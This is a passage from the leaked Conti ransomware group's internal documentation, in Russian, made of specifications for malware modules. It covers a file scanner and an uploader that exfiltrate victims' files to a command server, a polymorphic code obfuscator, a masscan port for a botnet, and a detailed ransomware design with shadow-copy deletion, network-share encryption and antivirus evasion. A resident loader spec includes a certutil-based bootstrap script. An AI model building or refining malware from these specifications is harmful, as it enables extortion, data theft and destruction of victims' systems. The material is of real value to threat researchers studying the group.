GET /<group>/<clientid>/fscan/home HTTP/1.1
Формат ответа:
path1[\r]\n
path2[\r]\n
...
(одна или множество записей)
Это каталоги, в которых нужно производить поиск.
Если каталогов несколько, поиск нужно производить в каждом из них.
Если ответ пуст, нужно искать в текущем каталоге.
Сканер получает глубину поиска запросом
GET /<group>/<clientid>/fscan/nest HTTP/1.1
Формат ответа:
неотрицательное целое число меньше 100.
Если ответ не подходит под это правило, глубина по умолчанию 10.
Число 0 означает отсутствие ограничений на глубину поиска.
При завершении перебора по выданному списку мы даем знать об этом серверу:
GET /<group>/<clientid>/fscan/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).
Отправка результатов делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом
POST /<group>/<clientid>/fscan/81 HTTP/1.1
Собранные данные отправляются в контейнере multipart/form-data с полями source и data.
Значение поля source - "Files found"
Значение поля data: простой текст, разделитель строк \r\n
Формат записи:
proto://user:pass@host:port/path/to/file\r\n
...
(одна или множество записей)
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
GET /<group>/<clientid>/fscan/freq HTTP/1.1
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
Если это 0 - отправка сразу по готовности нового результата.
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
очищая буфер при успешной отправке.
РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ
Используется свой собственный синтаксис регулярок.
Выражение может содержать символы звёздочка, вопросительный знак и квадратные скобки "[]".
* Звёздочка обозначает любую последовательность символов включая пустую
? Вопросительный знак обозначает любой одиночный символ
[] Квадратные скобки перечисляют список одиночных символов, например,
[jeu] - на его месте может стоять только один из трёх символов "j" , "e" или "u",
[?] - только символ вопросительного знака,
[[] - только открывающая квадратная скобка,
[*] - только символ звёздочка,
[[*] - звёздочка или открывающая квадратная скобка.
Пример: q[abc]erty[?]u[[]uu??88]88*
qaerty?u[uuzz88]88444 - подходит
qbertysu[uuzz88]88444 - не подходит
qcerty?u[uuz88]88 - не подходит
qaerty?u[uuz?88]88 - подходит
qrerty?u[uuz?88]88 - не подходит
qaerty?u!uuz?88]8811 - не подходит

147
Conti Documentation Leak/docs/modules/ТЗ поиск файлов по ключевым словам.txt

@ -0,0 +1,147 @@
ПРОСТОЙ МОДУЛЬ ДЛЯ ВЫКАЧИВАНИЯ ФАЙЛОВ С КОМПЬЮТЕРА
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
Назначение программы - поиск и выкачивание данных с компьютера
Название проекта pwuploader
ОПИСАНИЕ И ОФОРМЛЕНИЕ
Программа должна быть оформлена как .exe-файл, не принимающий параметров с командной строки.
1. Программа ищет файлы по ключевым словам, интеллектуальным поиском Windows (который F3 в Проводнике).
Список ключевых слов захардкожен в программе.
2. Все найденные файлы отправляем по протоколу отправки файлов.
3. Для получения собственного ID, читаем переменную окружения PROMPT.
В этой переменной будет находиться не обычное для DOS/Windows приглашение командной строки,
а данные идентификации программы.
Парсим строку по разделителю , (запятая) на три части:
- Client ID
- Group ID
- IP address
Если строка не парсится (полей больше или меньше), или адрес не похож на адрес, принимаем значения этих полей за:
Client ID: %MACHINE%-%USER%_W%winver%.%hex32% (генерируем по схеме, обозначенной ниже)
Group ID: nop000
IP address: 0.0.0.0
Id клиента - это строка, состоящая из двух компонентов разделённых точкой.
Первая часть имеет формат %MACHINE%-%USER%_XYYYYYYY, где
MACHINE - имя компьютера
USER - имя юзера
X - символ обозначающий тип системы на которой работает клиент
(W - windows, L - linux, A - андроид, M - Mac OS),
YYYYYYY - 3-7 цифр содержащих major-version, minor-version и build операционной системы если таковые имеются у систем
(например, длЯ 6.1 build 7600 это будет 617600).
Вторая часть содержит 32 случайных символов 0-9, A-F.
Пример id клиента - HOSTNAME-USER_W617600.11223344556677889900AABBCCDDEEFF.
Параметр не чувствителен к регистру.
4. При передаче данных по сети (протокол HTTP), все HTTP-коды, не начинающиеся с 200, являются ошибкой.
При проблеме передачи (код не-200 или отсутствие ответа) делаем десятикратный повтор попыток с таймаутом в час и умираем.
5. Адрес сервера зашивается в программе.
Программа должна уметь работать как по HTTP, так и по HTTPS - для этого можно использовать функции WinInet/WinHTTP.
6. Программа должна удалить себя с диска после завершения.
ОФОРМЛЕНИЕ МОДУЛЯ
1. Если выбран компилятор Microsoft, то должен иметься проект Microsoft Visual Studio версии не ниже 2015.
2. Проект Visual Studio должен быть настроен следующим образом:
* Для ВСЕХ профилей сборки:
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
- Многопроцессорная компиляция: да
* Профиль Release:
- Формат отладочной информации (С/С++ создание кода): нет
- Создавать отладочную информацию (компоновщик/отладка): нет
3. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
4. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
5. Модуль должен иметь две версии - x32- и x64-разрядную.
6. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
7. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в modulename.log (путь к логу настраивается в макросе).
Каждая запись лога должна содержать временнУю метку с точностью до секунды.
8. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
9. Модуль должен работать на всех современных версиях Windows.
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
10. Дополнительно к компоновке должен добавляться файл notelemetry.obj (https://stackoverflow.com/questions/37761768/how-to-prevent-visual-studio-2015-update-2-to-add-telemetry-main-invoke-trigger)
ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ
1) на сервер отправляется основная информация о компьютере через HTTP POST в контейнере multipart/form-data (аналогично обычной отправке html-формы).
POST содержит следующие поля:
timestamp - локальное UNIX-время
ip - поле IP address
ip1 - адрес первого сетевого интерфейса (в данной реализации поля с локальными адресами интерфейсов не используются; зарезервировано)
ip2 - адрес второго сетевого интерфейса
...
ipN - адрес N-го сетевого интерфейса
cid - поле Client ID
group - поле Group ID
hostname - имя хоста, полученное через GetComputerName()
source - строка `pw'
Отправка происходит на url вида:
http://foo.com/<junk>/<auth>/<junk>
junk - произвольные символы, допустимые в URI, кроме слеша /
auth - авторизующая секция. Предполагается, что тот кто отправляет запрос,
должен знать правила формирования этой секции.
Это - рандом любой длины.
В ней обязательны:
- буква Z в любой позиции
- сумма цифр (не чисел!) с 6 по 15-ю позицию должна быть 31.
Символы между ними - рандом. В частности там может находиться и Z.
Пример секции - abcde7ol7k9hi8mZ
2) далее отправляется каждый файл по частям, запросом HTTP POST, в контейнере multipart/form-data.
Файл передается в поле file.
Имя файла берется из тега Content-Disposition; имя временного файла из URI игнорируется.
При этом:
- отправка файла начинается с конца. К примеру, если файл длиной 100М, мы отправляем последние 10М файла.
- после отправки куска файла и получения подтверждения, программа запоминает состояние, и отправляет следующий кусок.
- перед отправкой, отправляемый кусок файла читается в память и сжимается алгоритмом gzip.
- отправка производится на URL вида
junk - произвольные символы, допустимые в URI, кроме слеша /
auth - авторизующая секция. Это - рандом любой длины, в котором обязательны
- буква S в любой позиции
- сумма цифр (не чисел!) с 8 по 15-ю позицию должна быть 25.
cid - поле Client ID
filename - имя файла в кодировке URL Encoded;
start - начальное смещение передаваемого куска относительно начала файла; здесь допустимы и буквы, и цифры.
Но значащими являются только цифры, в порядке появления в строке.
Например, 0A -- это число 0 (цифра 0 значащая, буква A игнорируется).
end - конечное смещение передаваемого куска относительно начала файла; правила те же, что и для start.
Например, 3A5A2A3A9A5A9A - это 3523959.
eof - признак конца файла. Если признак есть, это последний кусок файла; и наоборот (секция необязательная)
Это рандом любой длины, в котором обязательны:
- первая цифра чётная или 0
- последняя буква A или F
При обработке ошибок, код HTTP-ответа 200 не говорит об успехе операции,
но код не-200 говорит о неуспехе операции (например, 50* или 40* от прокси).
Точный код операции содержится внутри XML в теле HTTP-ответа, внутри тега <response>.
При получении кода ответа вида 4041, добавочный символ 1 - это внутренний код ошибки сервера (включен только во время отладки).
Например, следующий ответ свидетельствует об ошибке с кодом 9:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 07 Oct 2019 13:08:44 GMT
Content-Type: application/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept
<?xml version="1.0" encoding="UTF-8"?>
<response>4049</response>
Следующий ответ - ошибки нету, все ок
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 07 Oct 2019 13:08:44 GMT
Content-Type: application/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept
<?xml version="1.0" encoding="UTF-8"?>
<response>200</response>

52
Conti Documentation Leak/docs/modules/ТЗ полиморфный процессор Asm.txt

@ -0,0 +1,52 @@
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ПРЕПРОЦЕССОР ДЛЯ ПОЛИМОРФИРОВАНИЯ АССЕМБЛЕРНОГО КОДА
ЦЕЛЬ
Разработать препроцессор, который на вход получает Asm-листинг и на выход выдает также Asm-листинг,
в котором код эквивалентен исходному, но отличается по инструкциям, а также возможно другим критериям.
ТРЕБОВАНИЯ
Препроцессор должен быть выполнен в виде утилиты командной строки.
Ввод-вывод на усмотрение разработчика:
- читаем из stdin и результат пишем в stdout
- ключи командной строки откуда взять файл и в какой положить ответ
- комбинация 1 и 2
Должна быть краткая справка из самой утилиты, и развернутое readme на русском с описанием программы и ее режимами.
Любую эвристику можно включить и отключить ключами командной строки.
На любую эвристику должны быть граничные условия ее применения - т.е. рекомендации,
в каких случаях она безопасна, а в каких нет.
По умолчанию должны быть включены лишь безопасные эвристики.
Препроцессор должен понимать диалект ассемблера Microsoft Visual Studio 2010.
Должен работать как с 32-разрядными инструкциями, так и с 64-разрядными.
При необходимости использовать компиляторы, трансляторы и прочие инструменты, нужно предусмотреть отвязку
от конкретных вендоров и версий. Если нужно запускать транслятор, это должно быть сделано точками расширения.
Но вообще предполагается, что препроцессор будет сам включен в одно из событий сборки Visual Studio.
РЕАЛИЗАЦИЯ
Задача во многом исследовательская, и готовых рецептов нет.
Можно предложить следующие замены:
- дополнение и разбавление кода шумом (ничего не делающими многозначительными инструкциями)
- релокация адресов, не требующих релокации (либо внесение дополнительного смещения в адресацию
путем добавления паразитных байтов в коде)
- подвариантом является изменение порядка аллокации переменных на стеке
- перемещение глобала на стек и стековой переменной в глобалы
- перемещение статических данных в секцию кода .text
- xor al, al на mov al, 0 и подобные...
- изменение порядка функций и независимых секций кода (может понадобиться разбиение одного файла на несколько)
- изменение порядка независимых по данным инструкций внутри одной функции (если нету барьеров памяти)
- изменение порядка определения данных
- шифрование функций с динамической расшифровкой: поиск пролога и эпилога функций, шифрование тела, замена тела на кучу db <byte>, подстановка в пролог функции кода расшифровки
Вероятно по методам придания коду полиморфности следует использовать наработки 90-х.
Для разбора командной строки использовать реализацию getopt.c.

108
Conti Documentation Leak/docs/modules/ТЗ портирование masscan.txt

@ -0,0 +1,108 @@
АДАПТАЦИЯ ПРОГРАММЫ masscan К АДМИНКЕ СКАНЕРОВ
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ ПРОЕКТА
Адаптировать софт masscan к использованию с админкой сканеров, для распределенной работы
ОПИСАНИЕ
Исходный код проекта здесь: https://github.com/robertdavidgraham/masscan
Это быстрый порт-сканер, работающий с миллионами пакетов в секунду и миллионами адресов.
Нужно его распилить так, чтобы он:
1) работал на Windows (вроде бы он это умеет)
2) работал без привилегий администратора (тут сомнения)
3) был оформлен как модуль (см. module_HOWTO.txt, оформление кода и сборок.txt)
Конфиги передаются в модуль через вызов Control(). Название конфига - это строка в аргументе Ctl, тело конфига - аргумент CtlArg,
длина конфига - CtlArgLen (см. "module_HOWTO")
Модуль получает единственный конфиг с именем masrv, содержащий список адресов управляющего сервера,
разделенных \r\n или \n, в формате адрес:порт.
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
СОБЫТИЯ
Модуль должен отправлять следующие события через callback (см. "module_HOWTO"):
- MASS scanner build %date% %time% started
- %d addresses tried, %d open ports detected - периодически раз в полчаса (таймаут задается константой в config.h)
СКАНЕР
Сканер получает диапазоны для сканирования для проверки HTTP-запросом на сервер
GET /<group>/<clientid>/mass/domains HTTP/1.1
Значения group и clientid - это поля struct ParentInfo
CHAR ParentID[256];
CHAR ParentGroup[64];
(см. module_HOWTO)
address range1[\r]\n
port range1[\r]\n
...
(несколько записей)
Здесь нечетная строка содержит диапазон адресов для сканирования (в формате masscan)
Четная строка содержит диапазон портов для сканирования (в формате masscan)
Отправка результатов делается по протоколу DPOST запросом
POST /<group>/<clientid>/mass/81 HTTP/1.1
Собранные данные отправляются в контейнере multipart/form-data с полями source и data.
Значение поля source - "PORT scan"
Значение поля data: простой текст, разделитель строк \r\n
Формат записи:
адрес:порт:протокол\r\n
...
(одна или множество записей)
Например:
195.1.15.68:53:udp\r\n
195.1.15.68:53:tcp\r\n
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
GET /<group>/<clientid>/mass/freq HTTP/1.1
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
Если это 0 - отправка сразу по готовности нового результата.
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
очищая буфер при успешной отправке.
GET /<group>/<clientid>/mass/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).
Все необходимые настройки сканер получает запросами:
GET /<group>/<clientid>/mass/имянастройки HTTP/1.1
Следует вынести в админку основные настройки оригинальной программы
TODO Эти настройки будем добавлять по месту - сейчас трудно сказать, какие именно из них понадобятся.
АДМИНКА
Админка требует доработки состоит в определении правила разбиения общего диапазона на куски.
Пользователь вводит диапазоны тем или иным образом (либо в обычные текстовые поля ввода, либо загружает списки в виде текстовых файлов).
Задача админки - разбить эти диапазоны в большее количество меньших по размеру диапазонов, так чтобы сканирование одного суб-диапазона занимало не более часа на самой слабой машине,
и чтобы диапазонов было заведомо больше, чем ботов онлайн (всегда был резерв суб-диапазонов для выдачи).
Общий принцип - чем меньше размер суб-диапазона, тем лучше.
Ввод пользователем диапазонов для сканирования состоит из двух полей:
- диапазон адресов
- диапазон портов
Синтаксис диапазонов обычный для сетевых сканеров:
1. можно указывать отдельные адреса через , 10.0.0.1,10.0.0.2
2. можно указывать подсеть через число значащих бит 10.0.0.0/8
3. можно указывать начало и конец через тире 10.0.0.1-10.0.0.120
4. то же для портов, кроме пункта 2
5. можно задавать множество диапазонов. Тогда они объединяются по ИЛИ
Интерфейс пользователя админки должен разрешать ввод диапазонов с учетом вышесказанного.

238
Conti Documentation Leak/docs/modules/ТЗ простой криптолокер.txt

@ -0,0 +1,238 @@
КРИПТОЛОКЕР
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Разработать простой и эффективный минималистичный криптолокер.
ТРЕБОВАНИЯ
- Минимальный размер бинарника
- Соответствие с требованиями в "оформлении кода и сборок"
Сюда относятся оформление программы как dll, а также наличие точки входа для Cobalt Strike
- Наличие билдера (конфигуратора), прошивающего настройки и создающего пару "локер-анлокер"
- использование быстрого потокового шифра (ChaCha20 или подобного), для достижения максимального быстродействия и скорости накрытия системы.
Схема управления ключами при этом может повторять REvil/Sodinokibi https://blog.amossys.fr/sodinokibi-malware-analysis.html
(симметричный ключ для накрытия файлов Chacha20 формируется при старте локера;
он зашифровывается вшитым в локер публичным ключом RSA4096 и сохраняется на диске накрытой машины;
приватный ключ RSA4096 прошит в анлокер, позволяет считать и расшифровать использованный для накрытия симметричный ключ ChaCha20)
- программа должна накрывать все доступные сетевые шары
- потоковая модель программы должна максимизировать обработку диска и сетевых шар
- ключевым качеством работы программы является ее скорость обработки дисков.
ЗАЩИТНЫЕ МЕРЫ
- Обфускация строк и системных вызовов
- Снятие АВ хуков на старте
- Митигации для защиты от инъекций
- Защита от инъекций перехватом BaseThreadInitThunk
- защита от остановки процесса (проверить под WOW64!)
- защита от перезагрузки компьютера во время работы программы (проверить под WOW64!)
- удаление теневых копий при старте (проверить под WOW64!)
- отключение режима восстановления (recovery mode) Windows
ИДЕНТИФИКАЦИЯ
Бота идентифицируется парой
1. dev-id, который рассчитывается как хэш-функция от уникальных характеристик системы - железа и ОС.
Назначение: идентифицировать компьютер.
2. ключ шифрования, прошитый на этапе сборки.
Назначение: идентифицировать атакуемую цель, найти анлокер для конкретной цели по этому отпечатку.
Подробнее:
1. Предлагается использовать md5/sha-хэш от строки "дата_создания%windir%.имя_компьютера.дата_создания%windir\system32%.имя_домена_или_workgroup".
Сюда же можно подмешать имя жесткого диска, MAC-адрес сетевых интерфейсов, и прочие аппаратные имена.
Ключевыми свойствами dev-id являются
- dev-id всякий раз должен генерироваться
- при этом он должен быть одинаков при запуске от разных пользователей системы
- он не должен сохраняться на диск
- он должен быть уникален
- он всегда генерируется одинаково на одном и том же компьютере.
2. Билдер создает пару исполняемых файлов "локер-анлокер", генерируя для них пару криптоключей и прошивая их в файлы.
Везде где ключ используется для целей идентификации (а не для целей шифрования диска), нужно использовать краткий отпечаток ключа (fingerprint).
БИЛДЕР
Билдер - это консольная программа, которая
- берет на входе два файла - локер и анлокер
- генерирует пару криптоключей, экспортирует их в файлы
- прошивает в локер и анлокер эти ключи
- обязательно нужна возможность как генерации пары ключей, так и использования пары ранее созданных ключей (из файлов)
- а также прошивает в них прочие настройки, заданные из командной строки (см.п.9 раздела АЛГОРИТМ)
- на выходе выдает прошитые локер и анлокер, с измененными именами.
В имя локера и анлокера должны быть подмешан отпечаток ключа и дата создания, например:
locker_aabbccddeeff_01012020.ex_
- расширение файлов на выходе должно быть .ex_, чтобы предотвратить случайный запуск!!!
АЛГОРИТМ
1. Проверить раскладку клавиатуры, и если она соответствует любой стране из зоны СНГ + Украина, немедленно завершиться.
Эта фича должна быть отключаемой через условную компиляцию.
2. Сгенерировать свой dev-id
3. Сгенерировать отпечаток ключа
4. Сгенерировать текст для файла лендинга в памяти, подставив в него свои идентификаторы.
(здесь оставлен пропуск намеренно)
8.3. Программа работает в одном из двух режимов: быстрый или полный.
В быстром режиме шифруется только первый мегабайт файла. Это нужно, чтобы быстро накрыть систему.
В полном режиме шифруется весь файл.
Для быстрого режима предусматриваются настройки:
- процент накрытия файла
- максимальный размер файла для полного накрытия (после этого размера файл накрывается частично)
Эти настройки лучше всего задавать в командной строке.
При частичном накрытии файла, это следует делать либо в шахматном порядке (накрыли первый 1М, далее 1М пропуск, снова 1М накрыт итд),
либо по какой-либо предсказуемой формуле (прогрессия типа золотого сечения, чтобы максимально накрываемое пространство не было сосредоточено
только в одном месте файла)
8.3.1. После обработки каталога, в нем создается лендинг-файл с текстом о выкупе.
8.4. Если происходит ошибка доступа к файлу типа Share violation (файл занят другим процессом),
программа находит блокирующий процесс и убивает его, или останавливает соответствующий сервис.
При ошибках, программа пытается повторить действие трижды с интервалом в 2 минуты, после чего пропускает файл.
Дальнешая работа не зависит от результата данного шага.
8.5. Программа сперва обрабатывает каталоги из особого "быстрого" списка - списка каталогов,
которые необходимо пройти первыми.
8.6. Программа НЕ ТРОГАЕТ файлы и каталоги из особого стоп-списка - списка файлов, которые нельзя трогать.
При этом сочетания быстрого списка и стоп-списка обрабатываются так: (*)
8.6.1. Мы накрываем все пути из быстрого списка, не указанные в стоп-списке
8.6.2. Если в стоп-списке весь диск, на этом диске накрываем только пути из быстрого списка, не трогая остальной диск
8.6.3. Если стоп-список пуст, накрываем папки из быстрого списка первыми; остальные файлы потом.
* см. также п.12 о сетевых режимах
8.7. Программа шифрует только файлы с расширениями из списка рабочих расширений; остальные игнорируются.
8.8. Программа удаляет файлы из особого списка, трижды перезаписывая их содержимое:
- первый раз константой 0
- второй раз константой FF
- третий раз случайным мусором
- на четвертый раз файл удаляется
8.9. Программа обрабатывает таким образом все диски.
Все ошибки при работе игнорируются.
8.9.1. В понятие "все диски" включаются также все доступные сетевые Shares, а также сетевые диски.
9. Список изменяемых настроек в программе:
9.1. Режим работы (быстрый/полный)
9.2. Ключ шифрования
9.4. быстрый список
9.5. стоп-список
9.6. список рабочих расширений
9.7. список на удаление
9.8. текст лендинг-файла
Все списки могут быть как путями к каталогам, так и отдельными файлами.
Во всех связанных с файлами настройках должны поддерживаться:
- wildcards (символ *)
- переменные окружения.
Должна быть предусмотрена обработка файлов без расширения (по умолчанию должны обрабатываться).
Все списки должны валидироваться на корректность (заведомо некорректные пути должны игнорироваться).
10. После завершения работы программа самоуничтожается.
11. В тестовой сборке должны быть два счетчика:
11.1. сколько данных зашифровано, в байтах
11.2. размер обработанных файлов, включая те что зашифрованы частично, пропущены, удалены итд - это показатель общей скорости обработки.
Эти счетчики нужно периодически выдавать в лог, вместе с текущей меткой времени.
Это нужно для замеров скорости.
12. Дополнительно нужно предусмотреть следующие режимы сканирования сетевых ресурсов/файловых шар
12.1. local - Шифрует только локальные файлы + приоритетный список
12.2. net - Шифрует только сетевые ресурсы + приоритетный список.
Список сетевых ресурсов задается в файле, в формате ip\хост адрес по одной строке на каждый хост.
12.3. all - Шифрует как net + local (установлено по умолчанию)
12.4. scan - Шифрует как net + автоматическое сканирование сети по маске подсети
12.5. scanext - список хостов задается в файле + как scan
Параметр можно указывать только при -m net или без параметра -m.
Файл с хостами должен содержать ip\хост адрес по одной строке на каждый хост.
Сканирование сети и обработка шар занимают длительное время, поэтому обработка локальных файлов
в сетевых режимах должна начинаться немедленно.
Следует учесть, что одни и те же сетевые диски могут быть замонтированы как локальные и быть обнаружены как отдельная сетевая шара.
В таком случае следует предотвратить повторное шифрование диска.
В целом следует уделить большое внимание обнаружению повторного шифрования уже накрытого каталога/ресурса,
т.к. шифрование может и будет запускаться в параллель с множества компьютеров.
ЛЕНДИНГ-ФАЙЛ
Это текстовый файл с текстом о выкупе.
Имя readme.<6 случайных букв и цифр>.txt.
В файле используются макросы:
%devid% - dev-id компьютера
%fingerprint% - отпечаток ключа
Вместо них подставляются созданные на шагах 2 и 3 значения.
Текст файла задается с билдера.
ИЗВЕСТНЫЕ ОШИБКИ И ОГРАНИЧЕНИЯ ОС WINDOWS
- при попытке открыть файл WOW64-процессом на 64-битных Windows 7/8/2009,
функции CreateFile/OpenFile всегда возвращают статус TRUE и не возвращают код ошибки.
при этом при попытке чтения/записи возможно падение.
как решение проблемы проверяется количество открытых дескрипторов процесса до и после попытки открытия файла.
- WOW64-процесс не может получить валидный список всех дескрипторов в системе на 64-битной Windows XP/2003
- при открытии файла WOW64-процессом с флагом FILE_FLAG_OVERLAPPED,
файл может быть открыт почти одновременно несколькими процессами на чтение/запись.
При этом файл может быть последовательно перезаписан всеми этими процессами.
Будьте осторожны при запуске нескольких локеров одновременно!
Именованный мютекс поможет только с локальными дисками!
- Большие задержки доступа к буферам при использовании виртуальной памяти, особенно заметные на Windows 10.
Лучше выделять память из кучи.
- повреждения файловой системы/файла могут привести к зависаниям при обработке таких файлов
- некоторые алгоритмы шифрования замедляются на файлах с высокой энтропией (медиа - .mp3, .mp4, .avi, архивы итд)
ИСТОЧНИКИ ИНФОРМАЦИИ
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/
https://habr.com/ru/company/acronis/blog/522022/
https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/
https://www.carbonblack.com/blog/tau-threat-analysis-medusa-locker-ransomware/
https://blog.amossys.fr/sodinokibi-malware-analysis.html
Живее всех живых: анализируем первый сэмпл нового шифровальщика BlackMatter
https://habr.com/ru/company/group-ib/blog/571940/
ПЛАН ТЕСТИРОВАНИЯ
1. Функционал
Тестирование ведется с отключенным АВ.
Перебираются все режимы шифрования и вариации настроек.
Подтверждаются:
1.1. реакция софта на настройки
1.2. соответствие заданному режиму шифрования
1.3. корректная обработка сетевых дисков и шар
1.4. корректная отработка при нескольких одновременно запущенных экземплярах софта на одном компьютере
1.5. то же что 1.4, но одна и та же сетевая шара обрабатывается с разных компьютеров
1.6. удаление теневых копий томов операционной системы
1.7. сохранение работоспособности ОС после окончания работы
1.8. остановка локера от обычного пользователя
1.9. остановка локера от администратора
1.10. предотвращение перезагрузки/остановки машины
2. Совместимость
Проверка делается на следующих версиях ОС Windows:
2.1. Windows 10
2.2. Windows Server 2012-2018
2.3. Windows 8.1
2.4. Windows 7
2.5. Windows Server 2008 R2
2.6. Windows Server 2008 (без R2)
2.7. Windows XP
2.8. Windows Server 2003
3. Скорость
Замеряется скорость работы.
Для этого в софт должны быть встроены метрики статистики - нужен способ узнать скорость
3.1. в мегабайтах в секунду
3.2. файловых дескрипторов в секунду (т.к. файлы могут быть мелкие)
Разумеется делается поправка на то, что тест ведется на виртуальных машинах, однако можно сравнить показатели с софтом конкурентов на той же ВМ.
4. Антивирусы
4.1. Windows Defender
4.2. ESET
4.3. Sophos
4.4. Avast
4.5. BitDefender
4.6. Norton
4.7. Kaspersky
Отсутствие детектов 4.1-4.3 обязательно.
Является допустимым режим, когда АВ делает детект по поведению, но не может снять процесс до конца его отработки.

237
Conti Documentation Leak/docs/modules/ТЗ резидентный загрузчик.txt

@ -0,0 +1,237 @@
РЕЗИДЕНТНЫЙ ЗАГРУЗЧИК
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
Необходимо разработать резидентный загрузчик, отвечающий таким требованиям:
- небольшой размер (идеально - не более 100к)
- работа на голой ОС Windows начиная с Windows 2008/Windows Vista
что означает либо использование встроенных скриптовых языков (js, powershell v2.0), либо допустимо написать на C/C++
- работа с правами неприливегированного пользователя, без попыток поднять привилегии и обойти UAC
"Резидентный" означает, что загрузчик закрепляется на машине и переживает перезагрузку машины, стартует после перезагрузки машины.
Это НЕ означает, что загрузчик постоянно висит в памяти фоновым процессом и чего-то ждет.
Все что нужно - это выжить после перезагрузки.
Функция закрепления в загрузчике может отключаться на этапе сборки, под специфические окружения и задачи.
Тогда закрепление загрузчика может брать на себя сам бот (по команде 18, см. соотв.протокол).
Для этого загрузчик должен передавать путь к собственному файлу в бот при его запуске (через ком.строку или разделяемую память или как-то еще).
Задача загрузчика:
- при первом запуске на машине, закрепиться одной из техник закрепления (добавить себя в расписание, автозагрузку, ярлыки итд, см.ниже)
- определить разрядность процессора, и самообновиться на версию нужной разрядности
- выбрать линк для закачки основного файла в соответствии с разрядностью
- получить с сервера зашифрованый файл, расшифровать его. Шифрование - XOR 1 байт, ключ - текущая дата UTC в представлении YYYYMMdd, записанная в hex
например 20200128 - это hex-строка 3230323030313238 (каждая цифра переводится в 16-ричное представление)
Важно получать время именно в UTC, чтобы использовать правильную дату для машин в удаленных временнЫх зонах
- при ошибках связи или декодирования, продолжаются попытки получения и расшифровки нагрузки каждый час
- запустить полученный файл fileless-техникой - process hollowing, process doppelganging, подгрузка и запуск dll из памяти, либо подобные техники,
БЕЗ СОХРАНЕНИЯ НА ДИСК, ДАЖЕ В ПРОМЕЖУТОЧНОМ ВИДЕ
- после запуска файла завершиться
НИ ПРИ КАКИХ УСЛОВИЯХ ЗАГРУЖЕННЫЙ ИЗ СЕТИ ФАЙЛ НЕ ДОЛЖЕН БЫТЬ ЗАПИСАН НА ДИСК
это принципиальное условие.
Если для реализации выбирается скриптовый язык, нужно принять во внимание, что реализация техник безфайлового запуска
(process hollowing/process doppelganging) скорей всего крайне трудно реализуема.
Относительно оформления нагрузки в виде .dll:
- это позволяет избежать запуска дополнительного процесса, следовательно избежать и проактивных детектов.
В таком случае, точка входа в .dll - функция DllMain(DLL_PROCESS_ATTACH)
Загрузчик должен поддерживать работу через прокси, если он указан в настройках операционной системы (inetcpl.cpl -> Подключение -> Настройки прокси-сервера).
Дополнительно, загрузчик должен уметь:
- резолвить домены .bazar блокчейна Emercoin и использовать их для поиска командных серверов
- обновлять себя. Для обновления используется дополнительный линк, зашитый в код. Обновляться следует только если отличается версия (произвольная строка)
(сервер должен отдать версию файла на запрос HEAD /update HTTP/1.1 в заголовке X-Tag)
НАСТОЙЧИВО РЕКОМЕНДУЕТСЯ не хранить собственное тело в виде .exe-файла.
Обычный способ обеспечения персистентности в системе - это запуск .exe-файла через автозагрузку, задачи по расписанию,
службы WMI итд.
Однако, предпочтительно сделать следующую схему:
- тело загрузчика хранится упакованным и зашифрованным в некий контейнер:
.txt-файл, файл сертификата, картинку, длинное значение в ключе реестра, .cab-файл, итд
- таким образом, настоящее тело невидимо для антивирусов
- запускается не .exe, а bootstrap-скрипт (.bat-файл), разворачивающий и запускающий тело загрузчика
и удаляющий промежуточный .exe после выполнения
- bootstrap-скрипт использует только имеющиеся в "голой" ОС утилиты
Например (весьма примитивно и условно, только для демонстрации техники), bootstrap.bat:
@echo off
REM достаем загрузчик из "сертификата"
certutil -decode file.crt file.exe
REM запускаем загрузчик
file.exe
REM ждем пока прогрузится и отработает файл
ping -n 300 127.0.0.1 > NUL
REM удаляем загрузчик, т.к. тот уже успел отработать и запустить нагрузку
del /f /y file.exe
Процедура самообновления должна учитывать данную схему и корректно сгружать новое тело в обфусцированный файл.
Если используется язык Си/С++, следует подготовить проект CMake, чтобы иметь возможность пересобирать код загрузчика отличными от Microsoft компиляторами,
например mingw, clang.
ВАЛИДАЦИЯ СЕРВЕРА
